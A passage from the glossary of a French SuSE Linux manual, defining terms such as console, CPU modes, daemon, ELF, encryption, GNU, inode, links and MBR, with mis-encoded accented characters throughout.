  32572.                                  actif car il fonctionne en ``mode rΘel'' (+  CPU) et il est dΘsactivΘ lors de
  32573.                                  l'amorτage  du  noyau.  Mais  le  noyau  sous  Linux  met  α  disposition  des
  32574.                                  routines nettement plus performantes que le BIOS.
  32575.  
  32576.                              Boot (angl. boot strap = tirant de botte)
  32577.                                  +  Amorτage
  32578.  
  32579.                              Buffer
  32580.                                  +  Tampon
  32581.  
  32582.                              CaractΦres jokers (angl. wildcards)
  32583.                                  +  Wildcards
  32584.  
  32585.                              Chemin d'accΦs (angl. path)
  32586.                                  Par le chemin d'accΦs, la position d'un +  fichier dans un +  systΦme de fi-
  32587.                                  chiers est dΘfinie sans aucune ambigu∩tΘ. Sous Unix, les diffΘrents niveaux
  32588.                                  de rΘpertoires sont sΘparΘs par une barre oblique `/' appelΘe slash. On
  32589.                                  distingue deux types de chemins :
  32590.  
  32591.                                  ~   chemin relatif  : la position d'un fichier ou d'un rΘpertoire est dΘfinie
  32592.                                      par rapport au rΘpertoire courant.
  32593.  
  32594.                                  ~   chemin absolu : la position est dΘfinie ici par rapport au +  rΘpertoire
  32595.                                      racine.
  32596.  
  32597.  
  32598.                              Commutateur (angl. switch)
  32599.                                  Les commutateurs permettent α l'utilisateur d'agir sur le comportement
  32600.                                  par dΘfaut des programmes. La +  ligne de commande est constituΘe par le
  32601.                                  nom du programme Θventuellement suivi par les commutateurs.
  32602.  
  32603.                              Compte (angl. account)
  32604.                                  C'est l'ensemble constituΘ par le nom d'utilisateur (angl. login name) et le
  32605.  
  32606.  
  32607. 512
  32608.      ________________________________________________________________________________________________________________B.__Glossaire_*
  32609.  *____________________
  32610.  
  32611.  
  32612.  
  32613.     mot de passe (angl. password). Le compte est en gΘnΘral crΘΘ par l'+  ad-
  32614.     ministrateur systΦme. Il dΘtermine Θgalement α quel groupe le nouvel uti-
  32615.     lisateur doit appartenir et quels droits lui sont attribuΘs. La mise en place
  32616.     d'un compte implique la plupart du temps la crΘation d'un +   rΘpertoire
  32617.     personnel et l'assignation d'une adresse +  E-Mail (courrier Θlectronique)
  32618.     α l'utilisateur.
  32619.  
  32620. Console (angl. console, terminal)
  32621.     Autrefois, la console Θtait assimilΘe au terminal. Sous Linux il existe ce
  32622.     que l'on appelle les ``consoles virtuelles''. Elles permettent d'utiliser un
  32623.     seul Θcran pour plusieurs sessions indΘpendantes mais simultanΘes (voir
  32624.     paragraphe 19.4 page 485). Le +  niveau d'exΘcution standard (runlevel 2)
  32625.     prΘvoit  6  consoles  virtuelles  auxquelles_ vous_ pouvez  accΘder_ en  vous_
  32626.     servant respectivement des touches |A____l|t+ |F___|1jusqu' α |A____l|t+ |F___|6.
  32627.     └  partir  du  systΦme  X  Window,  qui  utilise_ la  console_ 7, _vous_ pouvez  ______
  32628.     accΘder_aux consoles_texte au moyen de |C______|trl+ |A____l|t+ |F___|1jusqu'α |C______|trl
  32629.     + |A____l|t+ |F___|6.
  32630.  
  32631. Courrier Θlectronique
  32632.     +  E-Mail
  32633.  
  32634. CPU (angl. Central Processing Unit)
  32635.     UnitΘ  centrale  de  traitement,  appelΘe  aussi  processeur.  Les  processeurs
  32636.     Intel  de  la  famille  x86  peuvent  fonctionner  en  diffΘrents  modes.  Nous
  32637.     allons ici en distinguer deux :
  32638.  
  32639.     ~   le mode rΘel : C'est le mode d'exΘcution natif. Il est lent et dΘsuet pour
  32640.         les applications (``logiciels 16 bits''). Il n'existe, en mode rΘel, ni zones
  32641.         ni commandes protΘgΘes. C'est dans ce mode que la machine dΘmarre
  32642.         lorsqu'elle est allumΘe ou rΘinitialisΘe +  RΘinitialisation. En outre, la
  32643.         taille des segments est limitΘe ici α 64Ko.
  32644.  
  32645.     ~   le  mode  protΘgΘ  :  (utilisable  α  partir  de  286).  Mode  d'exΘcution
  32646.         dans  lequel  on  distingue  diffΘrents  niveaux  de  privilΦges.  Ce  n'est
  32647.         que  dans  l'Θtat  dit  ``Ring0''  du  processeur  que  ``tout  est  permis''  (ici
  32648.         c'est  le  royaume  du  noyau  Linux),  avec  ``Ring3''  par  contre  (niveau
  32649.         de  privilΦge  le  plus  bas),  ce  sont  les  applications  (mΩme  celles  du
  32650.         super-utilisateur)  qui  travaillent.  En  outre,  depuis  la  famille  de  pro-
  32651.         cesseurs 386, on peut utiliser des segments qui recouvrent la totalitΘ
  32652.         de la zone d'adressage et rendent possibles des modΦles de mΘmoires
  32653.         linΘaires (flatmodel). C'est dans ce mode d'exΘcution que le CPU at-
  32654.         teint le maximum de sa performance. Linux n'utilise le processeur que
  32655.         dans le ``mode protΘgΘ'' du 386 (ou supΘrieur).
  32656.  
  32657.     Linux  est  actuellement  disponible  pour  les  architectures  basΘes  sur  les
  32658.     processeurs  :  Intel,  x86,  DECalpha,  Motorola  m68k,  Sparc,  PowerPC,
  32659.     MIPS, ARM.
  32660.  
  32661. Curseur
  32662.     Le curseur est en gΘnΘral un petit ΘlΘment graphique en forme de bloc qui
  32663.     marque l'emplacement o∙ se fait la saisie. Sous Linux, ce terme apparaεt
  32664.     dans les contextes suivants :
  32665.  
  32666.     ~   InterprΘteur  de  commandes/╔diteur  :  Un  petit  rectangle  ou  un  trait
  32667.         (clignotant) marque l'emplacement o∙ seront inscrits les caractΦres au
  32668.  
  32669.  
  32670.                                                                                                                                    *
  32671.  * 513
  32672. B.  Glossaire     _________________________________________________________________________________________________________________*
  32673.  *_______________________________________@
  32674.  
  32675.  
  32676.  
  32677.                                      moyen  du  clavier.  Sous  l'interprΘteur  de  commandes,  le  curseur  est
  32678.                                      situΘ sur le c⌠tΘ droit α c⌠tΘ de l'+  invite.
  32679.  
  32680.                                  ~   Curseur  de  souris  sous  X  :  C'est  le  pointeur  de  la  souris  sous  X.  Il
  32681.                                      change de forme selon le fond sur lequel il se trouve. Il a par exemple
  32682.                                      la forme d'une flΦche dans un xterm, la forme d'un ``X'' sur un fond
  32683.                                      d'Θcran et la forme d'un ``I'' dans une fenΩtre d'+  Θditeur.
  32684.  
  32685.                                  ~   Curseur GPM (console) : C'est un bloc de la taille d'un caractΦre qui,
  32686.                                      au moyen du programme GPM sur la +  Console, peut Ωtre positionnΘ
  32687.                                      par dΘplacement de la souris et permet d'effectuer des opΘrations de
  32688.                                      couper/coller (+  sΘlection).
  32689.  
  32690.                              Daemon
  32691.                                  +  dΘmon
  32692.  
  32693.                              DΘmon
  32694.                                  Un  dΘmon  (angl.  daemon  =  Disk  and  execution  monitor)  est  un  pro-
  32695.                                  gramme qui veille en arriΦre-plan et entre en action en cas de besoin. Ces
  32696.                                  dΘmons rΘpondent par exemple aux requΩtes FTP ou HTTP et contr⌠lent
  32697.                                  aussi  les  activitΘs  dans  les  emplacements  d'enfichage  des  cartes  PCM-
  32698.                                  CIA.
  32699.  
  32700.                              DensitΘ des i-noeuds
  32701.                                  La ``densitΘ des i-noeuds'' rΘsulte de l'Θvaluation de la taille moyenne de
  32702.                                  fichiers  que  l'on  peut  s'attendre  α  trouver  sur  une  partition  dΘterminΘe.
  32703.                                  Les valeurs par dΘfaut prΘvues par YaST permettent gΘnΘralement de rΘa-
  32704.                                  liser  un  travail  efficace  et  peuvent  donc  Ωtre  conservΘes.  Ce  terme  dΘ-
  32705.                                  route trΦs souvent les nouveaux venus sous Linux car la densitΘ est haute
  32706.                                  lorsque la valeur pour la densitΘ des i-noeuds est minime : dans ce cas un
  32707.                                  plus grand nombre d'i-noeuds est mis α disposition.
  32708.  
  32709.                              Device
  32710.                                  Voir pΘriphΘrique
  32711.  
  32712.                              E-Mail (angl. electronic mail)
  32713.                                  MΘthode  de  transmission  de  messages  entre  utilisateurs  d'un  systΦme
  32714.                                  d'ordinateurs intΘgrΘs dans un rΘseau. Tout comme pour le courrier postal
  32715.                                  sur papier (trΦs souvent appelΘ (angl. snail mail) pour sa lenteur d'escar-
  32716.                                  got),  le  destinataire  doit  Ωtre  spΘcifiΘ  :  vous  devez  indiquer  son  adresse
  32717.                                  Θlectronique ou adresse E-mail. Le courrier Θlectronique (E-mail) permet
  32718.                                  de  transmettre  non  seulement  des  textes  mais  aussi  des  documents  so-
  32719.                                  nores  et  des  images.  L'avantage  du  courrier  Θlectronique  rΘside  dans  le
  32720.                                  fait qu'il est peu onΘreux et que la plupart des messages peuvent parvenir
  32721.                                  au destinataire quelques minutes aprΦs l'expΘdition.
  32722.  
  32723.                              ╔diteur
  32724.                                  Les Θditeurs sont des programmes permettant de modifier des fichiers en
  32725.                                  introduisant  par  exemple  des  donnΘes  textuelles.  GNU  Emacs  (emacs     )
  32726.                                  ou l'Θditeur UNIX vi  (voir paragraphe 19.15 page 506) sont des Θditeurs
  32727.                                  polyvalents bien connus sous Linux. Si vous ne connaissez jusqu'α prΘ-
  32728.                                  sent aucun de ces deux Θditeurs, essayez joe ~ l'Θditeur joe est compatible
  32729.                                  WordStar : : :
  32730.  
  32731.  
  32732. 514
  32733.        ________________________________________________________________________________________________________________B.__Glossair*
  32734.  *e_____________________
  32735.  
  32736.  
  32737.  
  32738.   ELF (angl. Executable and Linking Format)
  32739.       ELF  est  aussi  pour  Linux  le  format  binaire  standard.  Avec  ce  format,
  32740.       il  est  plus  facilement  possible  qu'avec  l'ancien  format  a.out      de  crΘer
  32741.       par exemple des ``bibliothΦques partagΘes'' . Pour plus de dΘtails, voir le
  32742.       HowTo /usr/doc/howto/en/ELF-HOWTO.gz.
  32743.  
  32744.  
  32745.   Encryptage (angl. encryption)
  32746.       L'encryptage  de  donnΘes  permet  de  cacher  α  des  tierces  personnes  le
  32747.       contenu d'un fichier. Ceci est toujours opportun pour le transfert de don-
  32748.       nΘes α travers des connexions offrant peu de sΘcuritΘ (par exemple Inter-
  32749.       net)  si  l'on  souhaite  Θviter  que  des  tiers  non  autorisΘs  puissent  prendre
  32750.       connaissance des donnΘes transmises (par exemple numΘros de cartes de
  32751.       crΘdit, mots de passe, informations confidentielles, etc.). La longueur de
  32752.       la clΘ d'encodage a une importance primordiale pour la sΘcuritΘ du chif-
  32753.       frement  (une  clΘ  d'une  longueur  insuffisante  peut  Ωtre  ``cassΘe''  par  des
  32754.       programmes appropriΘs).
  32755.  
  32756.       Il  existe  dans  quelques  pays  des  restrictions  lΘgales  α  l'encryptage  des
  32757.       donnΘes. De ce fait, l'utilisation de certains programmes tels que SSH ,
  32758.       PGP ou les accΦs Web au moyen de SSL sont soit interdits dans ces pays,
  32759.       soit soumis α des limites s'appliquant α la longueur de la clΘ1 .
  32760.  
  32761.       Bien que SuSE offre les programmes mentionnΘs ci-dessus dans sa distri-
  32762.       bution (dans la mesure o∙ ceci n'est pas contraire α la lΘgislation du pays
  32763.       concernΘ), il vous incombe de vΘrifier vous-mΩme si vous Ωtes autorisΘ α
  32764.       les utiliser dans votre pays. SuSE n'assume aucune responsabilitΘ.
  32765.  
  32766.  
  32767.   EntrΘe/sortie standard (angl. standard input / output)
  32768.       Chaque processeur possΦde 3 canaux sur lesquels il peut lire ou Θcrire des
  32769.       donnΘes.  Il  s'agit  du  canal  d'entrΘe  standard  (stdin),  du  canal  de  sortie
  32770.       standard (stdout) et du canal d'erreur standard (stderr). Ces canaux sont
  32771.       dirigΘs  par  dΘfaut  vers  certains  pΘriphΘriques,  l'entrΘe  standard  vers  le
  32772.       clavier,  la  sortie  standard  et  le  canal  d'erreur  standard  vers  l'Θcran.  └
  32773.       l'aide de l'interprΘteur de commandes (shell), il est possible de rediriger
  32774.       ces canaux. On parle par exemple d'une redirection de l'entrΘe standard
  32775.       si les caractΦres proviennent d'un fichier et non pas du clavier. Lorsqu'on
  32776.       utilise  un  interprΘteur  de  commandes,  la  redirection  est  symbolisΘe  par
  32777.       les  caractΦres  `<'  (canal  d'entrΘe),  `>'  (canal  de  sortie)  `2>'  (canal
  32778.       d'erreur). Voir aussi +  Pipe.
  32779.  
  32780.  
  32781.   Environnnement (angl. environment)
  32782.       Un +   interprΘteur de commandes procure en rΦgle gΘnΘrale un environ-
  32783.       nement dans lequel l'utilisateur peut temporairement effectuer certaines
  32784.       opΘrations. Ces opΘrations concernent par exemple les noms de chemin
  32785.       d'accΦs aux programmes, le nom de l'utilisateur, le chemin courant, l'in-
  32786.       vite, etc. Ces donnΘes sont insΘrΘes dans une +  variable d'environnement.
  32787.       Ces variables d'environnement peuvent Ωtre assignΘes, par exemple, par
  32788.       les fichiers de configuration de l'interprΘteur de commandes.
  32789.  
  32790. 1      ____________________________________________________
  32791.   N.d.l.T : En France la longueur de clΘ ne doit pas dΘpasser 128 bits. Pour plus d'informations,
  32792. visitez le site du SCSSI : http://www.scssi.gouv.fr/present/chiffre/legal.html
  32793.  
  32794.  
  32795.                                                                                                                                    *
  32796.  *   515
  32797. B.  Glossaire     _________________________________________________________________________________________________________________*
  32798.  *_______________________________________@
  32799.  
  32800.  
  32801.  
  32802.                              Ethernet
  32803.                                  MatΘriel rΘseau trΦs rΘpandu pour +  LAN avec structure de type bus, auto-
  32804.                                  risant α l'origine des transferts α 10 Mbps par cΓblage coaxial (10 base 2
  32805.                                  ou 10 base 5). Il est toutefois courant aujourd'hui de voir aussi des rΘseaux
  32806.                                  basΘs sur le cΓblage α paires torsadΘes (angl. twisted pair) permettant jus-
  32807.                                  qu'α 100 Mbps (100 base T) avec une topologie en forme d'Θtoile.
  32808.  
  32809.                              EXT2 (angl. second extended Filesystem)
  32810.                                  C'est le systΦme de fichiers standard utilisΘ par Linux. Il se distingue par
  32811.                                  de  hautes  performances,  des  noms  de  fichiers  longs,  des  droits  d'accΦs
  32812.                                  ainsi que par les tolΘrances aux erreurs.
  32813.  
  32814.                              FAI (angl. ISP)
  32815.                                  Acronyme pour ``Fournisseur d'AccΦs Internet''. Entreprise de communi-
  32816.                                  cation qui procure l'accΦs α Internet par exemple au moyen d'un modem.
  32817.  
  32818.                              FenΩtre (angl. window)
  32819.                                  Les fenΩtres sont des portions d'Θcran rectangulaires gΘnΘralement entou-
  32820.                                  rΘes  par  un  cadre.  Ces  cadres  contiennent  le  plus  souvent  des  ΘlΘments
  32821.                                  dΘcoratifs permettant par exemple de modifier la taille et la position de la
  32822.                                  fenΩtre sur l'Θcran. Pour pouvoir travailler avec des fenΩtres sous Linux,
  32823.                                  il est nΘcessaire de disposer d'un +  serveur X et d'un +  gestionnaire de
  32824.                                  fenΩtres.
  32825.  
  32826.                              Fichier (angl. file)
  32827.                                  Sous Linux, le fichier constitue le concept central du traitement des don-
  32828.                                  nΘes. Tout comme sous d'autres systΦmes, les fichiers servent en premier
  32829.                                  lieu α stocker les donnΘes dans les mΘmoires de masse. Un nom de fichier
  32830.                                  doit Ωtre unique dans le rΘpertoire qui abrite ce fichier. Le +  systΦme de
  32831.                                  fichiers permet un classement hiΘrarchique des fichiers. Recherchez aussi
  32832.                                  dans le prΘsent glossaire d'autres informations sur les noms de fichiers.
  32833.  
  32834.                                  Il existe en outre sous Linux d'autres fichiers spΘciaux. Voir α ce sujet +
  32835.                                  lien, +  pΘriphΘrique et +  Proc.
  32836.  
  32837.                              Focus (angl. focus)
  32838.                                  On dit qu'un ΘlΘment de contr⌠le, comme par exemple la ligne de com-
  32839.                                  mande  d'un  +  terminal,  possΦde  le  focus  lorsque  les  donnΘes  entrΘes  α
  32840.                                  l'aide du clavier sont transmises α cet ΘlΘment. La plupart du temps, le
  32841.                                  focus est liΘ α la position du +  curseur. La maniΦre dont un gestionnaire
  32842.                                  de fenΩtres gΦre le focus est appelΘe gestion de focus (angl. focus policy).
  32843.                                  On distingue ici le focus qui suit toujours le curseur de souris et le focus
  32844.                                  qui n'est transmis α un ΘlΘment de contr⌠le que s'il est activΘ par un clic
  32845.                                  sur le bouton de la souris.
  32846.  
  32847.                              FTP (angl. file transfer protocol)
  32848.                                  FTP est la mΘthode utilisΘe sous UNIX  pour transfΘrer des fichiers d'une
  32849.                                  machine α une autre. Ce transfert concerne le serveur FTP (la machine qui
  32850.                                  fournit les donnΘes)  et le client FTP (la machine qui reτoit les donnΘes).
  32851.  
  32852.  
  32853.  
  32854.                              Gestionnaire de fenΩtres (angl. window manager)
  32855.                                  Le gestionnaire de fenΩtres est utilisΘ sous le +  systΦme X Window pour la
  32856.  
  32857.  
  32858. 516
  32859.      ________________________________________________________________________________________________________________B.__Glossaire_*
  32860.  *____________________
  32861.  
  32862.  
  32863.  
  32864.     manipulation des +  fenΩtres, ouverture, fermeture, dΘplacement, reprΘsen-
  32865.     tation sous forme d'ic⌠nes etc. TrΦs souvent les gestionnaires de fenΩtres
  32866.     offrent des fonctions supplΘmentaires telles que par exemple des barres
  32867.     d'outils (angl. toolbars) qui hΘbergent des ic⌠nes permettant le lancement
  32868.     de certaines applications.
  32869.  
  32870. GNU
  32871.     GNU  est  l'acronyme  de  GNU  is  Not  Unix  qui  est  un  projet  de  la  Free
  32872.     Software Foundation (FSF) . L'objectif du ``projet GNU'', auquel le nom
  32873.     de Richard Stallman (RMS   ) est Θtroitement liΘ, est la crΘation d'un
  32874.     systΦme d'exploitation ``libre'' compatible Unix, le mot ``free'' Θtant em-
  32875.     ployΘ ici beaucoup moins dans le sens de ``gratuit'' que de ``libre'' pour
  32876.     ce  qui  concerne  le  droit  d'accΦs  aux  programmes  ainsi  que  le  droit  de
  32877.     les utiliser et de les modifier. Pour que la libertΘ du texte source, c'est-
  32878.     α-dire  du  code  des  programmes,  soit  respectΘe,  toute  modification  doit
  32879.     Θgalement  Ωtre  ``libre''.  La  libertΘ  d'un  logiciel  ne  doit  donc  pas  Ωtre
  32880.     restreinte  par  la  modification  ou  l'ajout  d'un  code  de  programme.  Il
  32881.     est  expliquΘ  dans  le  manifeste  GNU  classique  comment  cela  peut  Ωtre
  32882.     garanti  (http://www.gnu.org/gnu/manifesto.html).  Les  logiciels
  32883.     GNU sont juridiquement protΘgΘs par la ``GPL'' (http://www.gnu.org/
  32884.     copyleft/gpl.html, voir annexe G page 549 et pages suivantes) ou par
  32885.     la LGPL (http://www.gnu.org/copyleft/lgpl.html).
  32886.     Dans  le  cadre  du  ``projet  GNU'',  tous  les  programmes  auxiliaires  Unix
  32887.     font  l'objet  d'un  nouveau  dΘveloppement  et  sont  en  partie  dotΘs  d'une
  32888.     fonctionnalitΘ plus complΦte ou amΘliorΘe. Mais certains systΦmes logi-
  32889.     ciels complexes (par exemple Emacs  ou la glibc ) sont aussi au centre du
  32890.     ``projet''.
  32891.     Le noyau +  Linux, soumis aux termes de la GPL, profite de ce dΘveloppe-
  32892.     ment (en particulier des outils) mais il ne doit pas Ωtre confondu avec le
  32893.     projet lui-mΩme.
  32894.  
  32895. I-noeud
  32896.     Les  i-noeuds  servent  au  systΦme  de  fichiers  +  EXT2  α  gΘrer  les  infor-
  32897.     mations  concernant  les  fichiers  stockΘs  sur  le  disque  dur.  Les  i-noeuds
  32898.     contiennent en outre d'autres informations telles que l'identifiant du pro-
  32899.     priΘtaire du fichier, les droits accordΘs, les dates de modification etc.
  32900.  
  32901. Interface
  32902.     GΘnΘralement, l'interface dΘsigne le pΘriphΘrique par lequel les diffΘrents
  32903.     systΦmes  Θchangent  des  informations.  Une  telle  interface  peut  Ωtre  par
  32904.     exemple le clavier qui est en quelque sorte le lieu de rencontre de l'homme
  32905.     et  de  la  machine.  Cette  notion  est  toutefois  trΦs  abstraite  et  l'on  peut
  32906.     distinguer de faτon beaucoup plus concrΦte les interfaces suivantes :
  32907.  
  32908.     ~   Interface  matΘrielle  (angl.  hardware)  :  elle  permet  de  connecter  des
  32909.         pΘriphΘriques α la machine. Les exemples sont le port parallΦle, SCSI
  32910.         et le port sΘrie.
  32911.  
  32912.     ~   Interface logicielle (angl. software) : dΘtermine de quelle maniΦre les
  32913.         programmes doivent communiquer entre eux. Voir aussi +  protocole.
  32914.  
  32915.     ~   Interface utilisateur : C'est ici que l'homme et la machine Θchangent
  32916.         des donnΘes. Les exemples sont la souris, le moniteur et le clavier.
  32917.  
  32918.  
  32919.                                                                                                                                    *
  32920.  * 517
  32921. B.  Glossaire     _________________________________________________________________________________________________________________*
  32922.  *_______________________________________@
  32923.  
  32924.  
  32925.  
  32926.                              Interface graphique (angl. graphical user interface, GUI)
  32927.                                  L'interface graphique est la reprΘsentation du bureau de l'utilisateur (angl.
  32928.                                  graphical / electronic desktop). L'Θcran qui doit absolument permettre des
  32929.                                  affichages  graphiques  est  considΘrΘ  comme  la  surface  du  bureau  (angl.
  32930.                                  desktop) sur laquelle on peut poser des +  fenΩtres. C'est dans ces fenΩtres
  32931.                                  que sont exΘcutΘs les diffΘrents processus. Les ΘlΘments de contr⌠le d'une
  32932.                                  interface graphique sont habituellement manipulΘs α l'aide de la souris,
  32933.                                  d'un trackball ou autres dispositifs similaires. Les interfaces graphiques
  32934.                                  bien connues sont le +  systΦme X Window, le systΦme 7 de Apple MacIn-
  32935.                                  tosh  Digital Research  GEM , MS-Windows .
  32936.  
  32937.  
  32938.                              Internet
  32939.                                  L'Internet est un +  rΘseau mondial hΘtΘrogΦne - c'est-α-dire constituΘ de
  32940.                                  machines  diffΘrentes  -.  L'accΦs  aux  machines  se  fait  au  moyen  de  leur
  32941.                                  +  adresse IP (IP = Internet Protocol) qui est unique dans le monde. Les
  32942.                                  adresses IP sont divisΘes en adresses nationales, adresses de domaines et
  32943.                                  sous-domaines  et  adresse  de  la  machine.  Outre  l'adresse  IP  numΘrique
  32944.                                  (par  exemple  192.168.0.1),  il  existe  aussi  ce  que  l'on  nomme  les  alias
  32945.                                  (par exemple soleil.cosmos.univers) qui permettent α l'utilisateur de
  32946.                                  retenir les adresses beaucoup plus facilement. L'Internet fonctionne non
  32947.                                  seulement  au  niveau  matΘriel  mais  aussi,  α  l'aide  de  toute  une  sΘrie  de
  32948.                                  +  protocoles  tels  que  ftp,  http,  tcp  et  autres,  sur  diffΘrents  niveaux  lo-
  32949.                                  giques. Des services bien connus offerts par l'Internet sont le +  courrier
  32950.                                  Θlectronique ou le World Wide WEB (WWW ou W3 appelΘ encore toile
  32951.                                  d'araignΘe mondiale). Un mot-clΘ essentiel liΘ α l'Internet est ``Netiquet-
  32952.                                  te'' qui est un ensemble de rΦgles de savoir vivre nΘcessaires α une coexis-
  32953.                                  tence bien organisΘe et peut Ωtre comprise comme un ``code d'honneur qui
  32954.                                  s'impose de lui-mΩme''.
  32955.  
  32956.  
  32957.                              InterprΘteur de commandes (angl. shell)
  32958.                                  L'interprΘteur de commandes reprΘsente une interface fondamentale au +
  32959.                                  systΦme d'exploitation (noyau). Il permet de lancer des commandes α par-
  32960.                                  tir d'une ligne de commande. Pour pouvoir automatiser certaines tΓches,
  32961.                                  les  interprΘteurs  de  commandes  disposent  le  plus  souvent  d'un  propre
  32962.                                  langage de programmation. Les programmes ainsi rΘalisΘs (appelΘs shell-
  32963.                                  scripts) peuvent Ωtre considΘrΘs comme des fichiers batch (fichiers de trai-
  32964.                                  tement  par  lots)  intelligents.  Exemples  d'interprΘteurs  de  commandes  :
  32965.                                  bash , sh  et tcsh .
  32966.  
  32967.                              Invite (angl. prompt)
  32968.                                  Sous  un  +  shell,  interprΘteur  de  commandes  en  mode  texte,  l'emplace-
  32969.                                  ment o∙ les commandes peuvent Ωtre transmises au +   systΦme d'exploi-
  32970.                                  tation  est  marquΘ  par  l'invite.  Le  message  d'invite  peut  contenir  par
  32971.                                  exemple  le  nom  de  la  machine  et  de  l'utilisateur,  l'heure  actuelle  et
  32972.                                  d'autres informations de ce genre. En faisant rΘapparaεtre l'invite, le sys-
  32973.                                  tΦme d'exploitation (ou l'interprΘteur de commandes) vous signale que le
  32974.                                  systΦme est prΩt α recevoir de nouvelles commandes.
  32975.  
  32976.  
  32977.                              ISDN (angl. Integrated Services Digital Network)
  32978.                                  En franτais RNIS. RΘseau numΘrique permettant de transporter la voix,
  32979.  
  32980.  
  32981. 518
  32982.      ________________________________________________________________________________________________________________B.__Glossaire_*
  32983.  *____________________
  32984.  
  32985.  
  32986.  
  32987.     les donnΘes ou autre chose, tout en offrant les services associΘs. Exemple :
  32988.     NumΘris.
  32989.  
  32990. ISP (angl. Internet Service Provider)
  32991.     +  FAI
  32992.  
  32993. LAN (angl. local area network)
  32994.     +  rΘseau local
  32995.  
  32996. Lecteur de CD-ROM (angl. CD-ROM Drive)
  32997.     Il existe plusieurs types de lecteurs de CD-ROM. Les plus rΘpandus sont
  32998.     les  lecteurs  +  ATAPI  qui  sont  connectΘs  α  un  contr⌠leur  de  disque  dur
  32999.     (E)IDE. En dehors de ces lecteurs, il existe encore
  33000.  
  33001.     ~   les lecteurs de CD-ROM SCSI qui sont utilisΘs par l'intermΘdiaire d'un
  33002.         adaptateur h⌠te SCSI,
  33003.  
  33004.     ~   les lecteurs de CD-ROM qui peuvent Ωtre rattachΘs au port parallΦle et
  33005.  
  33006.     ~   des lecteurs de CD-ROM spΘcifiques aux diffΘrents constructeurs aux-
  33007.         quels on peut accΘder par des cartes contr⌠leur ou des cartes son spΘ-
  33008.         ciales.
  33009.  
  33010.     Ce n'est que pour les lecteurs mentionnΘs en dernier que l'on doit sΘlec-
  33011.     tionner des pilotes spΘciaux.
  33012.  
  33013. Ligne de commande
  33014.     Le travail sous UNIX peut Ωtre ``orientΘ ligne de commande''. Cela signifie
  33015.     que  tout  programme  lancΘ  dans  un  +  interprΘteur  de  commandes  peut
  33016.     avoir  une  ligne  de  commande.  La  commande  ls  peut  recevoir  diverses
  33017.     options permettant de rΘgler son comportement.
  33018.  
  33019. Lien
  33020.     Un lien (angl. link) est une entrΘe dans un rΘpertoire pointant sur un autre
  33021.     fichier. Cette entrΘe ne contient pas elle-mΩme de donnΘes. On distingue :
  33022.  
  33023.     ~   les  liens  symboliques  qui  contiennent  des  rΘfΘrences  α  des  noms.  Il
  33024.         n'est pas essentiel que le fichier rΘfΘrencΘ existe, ni qu'il s'agisse d'un
  33025.         fichier ou d'un rΘpertoire ou qu'il se trouve hors des limites du systΦme
  33026.         de fichiers.
  33027.  
  33028.     ~   les liens physiques qui contiennent des rΘfΘrences α des i-noeuds. Un
  33029.         lien physique ne peut faire de rΘfΘrences qu'α l'intΘrieur d'un systΦme
  33030.         de fichiers et il ne doit pas se rapporter α un rΘpertoire. En outre, tous
  33031.         les liens physiques sont Θquivalents α un i-noeud (ce qui signifie que
  33032.         les donnΘes contenues dans le fichiers continuent α subsister tant que
  33033.         le dernier lien n'a pas ΘtΘ supprimΘ).
  33034.  
  33035.  
  33036. Linux
  33037.     SystΦme  d'exploitation  hautement  performant  similaire  α  UNIX,  libre-
  33038.     ment distribuΘ aux termes de la GPL (+  GNU). Son nom (``Linus' uniX'')
  33039.     est un +  acronyme dΘrivΘ du nom de son crΘateur Linus Torvalds.
  33040.  
  33041. Linux initial
  33042.     Lors de l'installation, on lance d'abord le Linux initial. Il n'a pas besoin
  33043.     du  disque  dur  qui,  α  ce  stade,  n'est  pas  encore  accessible.  Son  noyau
  33044.  
  33045.  
  33046.                                                                                                                                    *
  33047.  * 519
  33048. B.  Glossaire     _________________________________________________________________________________________________________________*
  33049.  *_______________________________________@
  33050.  
  33051.  
  33052.  
  33053.                                  provient de la disquette d'amorτage ou du CD-ROM, l'image de root est
  33054.                                  chargΘe  sur  un  disque  RAM  (Θgalement  α  partir  du  CD-ROM  ou  de  la
  33055.                                  disquette root). Les autres programmes (par exemple YaST ) proviennent
  33056.                                  directement du disque RAM.
  33057.                                  AprΦs  le  premier  login,  on  lance  YaST  et  on  prΘpare  l'installation  du
  33058.                                  vΘritable Linux.
  33059.  
  33060.                              Manpage
  33061.                                  +  Page de man
  33062.  
  33063.                              MBR (angl. master boot record)
  33064.                                  Secteur maεtre d'amorτage. C'est le premier secteur physique (cylindre 0,
  33065.                                  tΩte 0, secteur 1) de l'un des disques durs dans le systΦme (premier disque
  33066.                                  avec le numΘro de pΘriphΘrique BIOS 0x80). Chaque disque dur possΦde
  33067.                                  un MBR mais les +  BIOS ne peuvent pas tous dΘmarrer le systΦme d'ex-
  33068.                                  ploitation  concernΘ  α  partir  de  chaque  disque  dur.  Lors  de  l'amorτage
  33069.                                  depuis un disque dur, le BIOS charge le contenu du MBR en mΘmoire α
  33070.                                  une adresse dΘterminΘe et il lui passe le contr⌠le. Ce code charge soit le
  33071.                                  systΦme d'exploitation α partir d'une partition de disque dur amorτable,
  33072.                                  soit un chargeur (angl. bootloader) complexe tel que par exemple LILO .
  33073.  
  33074.                              MΘmoire
  33075.                                  La mΘmoire est en quelque sorte le cerveau de votre machine. On parle
  33076.                                  trΦs souvent de mΘmoire de travail ou mΘmoire centrale (angl. main me-
  33077.                                  mory). Sous Linux on distingue couramment deux types de mΘmoire :
  33078.  
  33079.                                  ~   la  mΘmoire  physique  :  contenue  dans  votre  machine  sous  forme  de
  33080.                                      puces mΘmoire. Sa taille pour stations de travail est typiquement ac-
  33081.                                      tuellement  de 64 Mo α 256 Mo. On peut accΘder trΦs rapidement aux
  33082.                                      fichiers stockΘs en +  RAM.
  33083.  
  33084.                                  ~   la mΘmoire virtuelle : par le concept de mΘmoire virtuelle, le systΦme
  33085.                                      peut  considΘrer  aussi  certains  espaces  spΘciaux  du  disque  dur  ou  de
  33086.                                      la  disquette  comme  mΘmoire  de  travail  supplΘmentaire  (+  mΘmoire
  33087.                                      d'Θchange).
  33088.  
  33089.  
  33090.                              MΘmoire d'Θchange
  33091.                                  C'est la zone de mΘmoire de masse nΘcessaire lorsque l'on utilise la mΘ-
  33092.                                  moire  virtuelle.  Elle  sert  au  transfert  temporaire  de  pages  de  mΘmoire
  33093.                                  vive  (+  RAM).  Sous  Linux,  cela  peut  Ωtre  une  partition  spΘciale  ou  un
  33094.                                  fichier. Grosso modo, la mΘmoire vive physique RAM et la mΘmoire ren-
  33095.                                  due disponible par le swap constituent ensemble la quantitΘ maximale de
  33096.                                  mΘmoire virtuelle disponible.
  33097.  
